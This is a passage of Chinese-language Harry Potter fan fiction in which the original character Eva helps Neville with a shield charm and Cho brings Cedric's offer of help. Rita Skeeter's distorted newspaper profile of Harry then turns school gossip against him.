    Eva坐在稍远些的窗边，正在帮纳威纠正一个手势。她的声音很低，但纳威听得很认真，频频点头。纠正完后，纳威成功施展出一个完整的铁甲咒——虽然护盾还有些摇晃，但至少成型了。他脸上露出难以置信的、纯粹喜悦的笑容。


    哈利看着这一幕，心里某个地方软了一下。Eva总是这样——安静，但有效。她不张扬，不炫耀，只是做她认为该做的事。


    集会快结束时，秋·张来了。她没参加练习，只是站在门口，等大家收拾东西。


    “秋？”哈利走过去，心里有些意外，也有些……雀跃。最近几次遇到秋，她都会温和地跟他打招呼，说“我相信你不是自己报名的”。这让他感到一丝安慰——至少还有人相信他。


    “嗨，哈利。”秋微笑，她的黑发在壁炉光里泛着温暖的光泽，“塞德里克让我带句话——他说第一个项目很危险，如果你需要，他可以分享一些他准备的防御技巧。”她赶紧补充，“只是一些……通用的应对策略。”


    哈利愣住了，“为什么？”


    秋眨了眨眼睛：“其实是Eva找我们聊了一些……然后塞德里克说，‘我们都是霍格沃茨的勇士，无论怎么选出来的。面对危险时，我们应该互相帮助，而不是互相竞争。’”


    这时，Eva正好和朋友们出来，和秋、哈利打了声招呼就走了。


    秋看着Eva的背影，意有所指，轻轻地对哈利说，“Eva真的是个很好的女孩，不是吗。”


    哈利点了点头。Eva一直都很好。


    秋看了哈利一眼，像是想从他眼睛里看出什么，但失败了。她语气恢复平常的温和，“哦对了，关于城堡的流言……我们相信你，哈利。你不是会作弊的人。”


    哈利感到胸膛里涌起一股暖流。但下一秒，秋的话题就转了：


    “最近塞德里克最近练习咒语练得很晚。但仍然每天早晚都去魁地奇球场练习飞行和躲避——说第一个项目可能需要快速反应。我有时候会去给他送水，看他练习……”她的脸上浮现一丝淡淡的红晕，眼睛亮亮的，“他飞得真好，是不是？”


    哈利点点头，但心里那点暖意迅速冷却了。秋相信他，但她的目光、她的笑容、她语气里那种不自觉的温柔，都是给塞德里克的。


    “是啊，”哈利说，努力让声音听起来正常，“他飞得很好。”


    秋又聊了几句塞德里克的训练情况，然后礼貌地告辞离开。哈利看着她消失在走廊拐角，心里像塞了一团湿棉花，沉甸甸的，透不过气。


    回格兰芬多塔楼的路上，罗恩和赫敏走在前面，争论着某个咒语的原理。哈利走在后面，望着走廊窗外沉沉的夜色。


    他回想起今天发生的一切，温暖和酸涩交织在一起，让他的胸腔微微发胀。至少在有求必应屋，在相信他的人中间，他可以喘口气。


    然而，这口气只持续到了第二天早晨。


    周一的《预言家日报》没有像往常一样被随意丢在餐盘旁。几乎每一份都被学生们展开，礼堂里响起了比以往任何一次都更响亮、更持久的嗡嗡声。头版不再是关于三强争霸赛筹备或魔法部政策的枯燥文章，而是一篇占据了大半个版面的、标题花哨的特写：


    《伤疤与压力：救世之星的真面目？——独家专访霍格沃茨争议勇士哈利·波特》


    文/ 丽塔·斯基特


    哈利拿起面前那份报纸时，手指有些发凉。照片里的他看起来苍白、烦躁，正试图绕过拍照的镜头——斯基特不知用什么方法蹲守到他时抓拍的。


    文章的开头就像一罐泼出来的糖浆，甜腻得令人作呕：


    “在霍格沃茨古老石墙的阴影下，年轻的哈利·波特——那个我们熟知的名字，那个承载了太多期望与传说的男孩——正显露出不为人知的痛苦。在成为三强争霸赛史无前例的第四位勇士后，这位‘救世主’坦言自己‘压力巨大’，甚至向本报记者透露，他那著名的伤疤‘最近时常疼痛’……”


    “我没说‘时常’！”哈利低声吼道，但周围没人听他说话。所有人都沉浸在文章里。


    斯基特她那根该死的自动速记羽毛笔巧妙地将哈利的只言片语、她的诱导性提问、以及大量“据观察”、“知情人士称”、“不难想象”的臆测编织在一起，勾勒出一个完全陌生的哈利·波特：


    一个被盛名所累、情绪不稳的少年（“他承认夜晚难以入眠，对朋友的误解感到‘愤怒和委屈’”）；一个可能利用特殊身份寻求特权的选手（“当被问及如何通过年龄线时，波特先生避而不谈，只是强调‘我没有作弊’。然而，霍格沃茨内部对邓布利多校长是否给予他特殊关照，存在广泛议论”）；甚至，一个与黑暗过往仍有神秘联系的谜团（“那道曾作为伏地魔失败象征的伤疤，如今再次疼痛，仅仅是压力，还是某种不祥的预兆或……联系？波特先生拒绝深谈，但眼神中的闪烁令人深思”）。


    文章还“贴心”地提及了哈利“疏远的朋友”罗恩·韦斯莱，充满智慧的天才女巫赫敏·格兰杰，以及“他小团体中那位聪慧但似乎对危险情有独钟的拉文克劳东方女孩”，暗示他的人际关系因野心而破裂。


    “她怎么敢……”赫敏的声音在发抖，报纸在她手中被捏得皱成一团，“她扭曲了一切！断章取义！那些‘知情人士’是谁？根本没有！”


    罗恩的脸红得像他的头发：“我要给预言家日报写信！这女人应该被禁止进入学校！”


    但他们的愤怒在礼堂蔓延开的、新的议论浪潮面前，显得微弱无力。


    “看，连《预言家日报》都这么说……”


    “伤疤疼？这听起来可不太妙……”


    “邓布利多真的给他特殊照顾了？”


    “难怪他和韦斯莱吵架了，也许他真的变了……”


    这些低语不再仅仅是斯莱特林徽章那幼稚的嘲讽，而是披上了“权威报道”的外衣，变得更具杀伤力，也更难以辩驳。它们像细密的毒雾，渗透进走廊、教室、甚至公共休息室的每一个角落。


    哈利感到一阵反胃。上周四穆迪制造的戏剧性事件（雪貂马尔福）所带来的短暂冲击，此刻已被这篇报道彻底覆盖。人们不再津津乐道于马尔福的狼狈，转而讨论起“波特的心理问题”和“邓布利多的偏袒”。一种更深沉、更粘稠的孤立感包裹了他。当他不小心与一个赫奇帕奇三年级的女生目光相接时，对方立刻低下头，匆匆走开，仿佛害怕被他“不稳定的情绪”或“神秘的伤疤”沾染。


    流言的风向，彻底变了。


    Eva和朋友们在去魔药课教室的路上，听到了不下三种对那篇文章的解读版本。


    拉文克劳的讨论依然理性，但焦点已从“穆迪行为的正当性”转向了“媒体权力与事实扭曲”以及“公众人物隐私界限”。


    “斯基特明显违反了新闻伦理，但她巧妙地游走在法律边缘。”帕德玛在课前低声分析，“她用的都是引导性叙述和匿名信源，很难直接指控她诽谤。”


    “但这效果比十个‘波特臭大粪’徽章还坏。”曼蒂忧心忡忡，“现在连我妈妈都遣猫头鹰来问我，问我哈利·波特是不是真的‘精神状态不佳’。”


    斯莱特林那边，则洋溢着一种冰冷的满意。徽章依旧别着，但许多人脸上的表情不再是单纯的嘲弄，而是一种“看，被我说中了吧”的优越感。潘西·帕金森故意在魔药课教室外大声朗读文章中最具暗示性的段落，引来一阵压抑的笑声。


    德拉科·马尔福没有参与这些。他坐在座位上，脸色比平时更苍白些，灰蓝色的眼睛里情绪复杂——之前的羞辱性事件似乎被这篇更具威力的报道压了下去，但他脸上看不出多少快意。